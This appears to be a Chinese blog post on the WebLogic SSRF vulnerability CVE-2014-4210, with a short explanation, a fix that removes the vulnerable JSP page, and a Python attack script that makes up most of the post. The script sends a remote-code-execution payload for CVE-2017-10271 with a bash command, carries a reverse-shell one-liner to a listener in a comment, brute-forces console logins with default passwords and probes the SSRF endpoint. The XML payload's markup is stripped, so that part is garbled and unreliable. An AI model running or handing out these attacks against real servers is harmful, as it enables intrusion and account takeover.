weblogic系列漏洞整理 ————5. weblogic SSRF 漏洞 UDDI Explorer对外开放 (CVE-2014-4210)

影响版本：10.0.2,10.3.6

SSRF漏洞，也称为XSPA（跨站端口攻击），问题存在于应用程序在加载用户提供的URL时，没能正确验证服务器的响应，然后就反馈回了客户端。攻击者可以利用该漏洞绕过访问限制（如防火墙），进而将受感染的服务器作为代理进行端口扫描，甚至访问系统中的数据。

利用过程

利用脚本

# !/usr/bin/env python           
# coding  : utf-8 
# Date    : 2018-04-03 19:08:00
# Author  : b4zinga
# Email   : [email protected]
# Function: weblogic vuln

import requests


class WebLogic:
    def __init__(self, url):
        if '://' not in url:
            url = 'http://' + url
        self.url = url.strip('/')

    def xmlDecoder(self):
        """Version:10.3.6.0.0/12.1.3.0.0/12.2.1.1.0
        CVE-2017-10271
        """
        headers = {
            "Content-Type":"text/xml;charset=UTF-8",
            "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
        }

        # bash -i >& /dev/tcp/192.168.1.133/4444 0>&1
        xml = """
         
            
                
                    
                        
                            
                                
                                    /bin/bash
                                
                                
                                    -c
                                
                                
                                id > /tmp/b4
                                
                            
                        
                    
                
            
        
        """
        req = requests.post(self.url+":7001/wls-wsat/CoordinatorPortType", headers=headers, data=xml)
        if req.status_code == 500 :
            print('[+] WebLogic xml decoder ')
            # print(req.text)

    def weakPasswd(self):
        """weak password"""

        pwddict = ['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem']
        for user in pwddict:
            for pwd in pwddict:
                data = {
                    'j_username':user,
                    'j_password':pwd,
                    'j_character_encoding':'UTF-8'
                }
                req = requests.post(self.url+':7001/console/j_security_check', data=data, allow_redirects=False, verify=False)

                if req.status_code == 302 and 'console' in req.text and 'LoginForm.jsp' not in req.text:
                    print('[+] WebLogic username: '+user+'  password: '+pwd)

    def ssrf(self):
        """Version: 10.0.2/10.3.6
        CVE-2014-4210"""
        # payload = ":7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001"
        payload = ":7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://localhost/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search"

        req = requests.get(self.url+payload, timeout=10, verify=False)
        if "weblogic.uddi.client.structures.exception.XML_SoapException" in req.text and "IO Exception on sendMessage" not in req.text:
            print("[+] WebLogic ssrf")



if __name__ == '__main__':
    url = '192.168.136.130'
    wls = WebLogic(url)

    wls.xmlDecoder()
    wls.weakPasswd()
    wls.ssrf()

修复建议

​ Weblogic服务端请求伪造漏洞出现在UDDI组件（所以安装Weblogic时如果没有选择UDDI组件那么就不会有该漏洞），更准确地说是UDDI包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。

​ 所以修复这个漏洞最直接的方式就是删除这个jsp页面。

jar -xvf uddiexplorer.war
rm SearchPublicRegistries.jsp
jar -cvfM uddiexplorer.war uddiexplorer/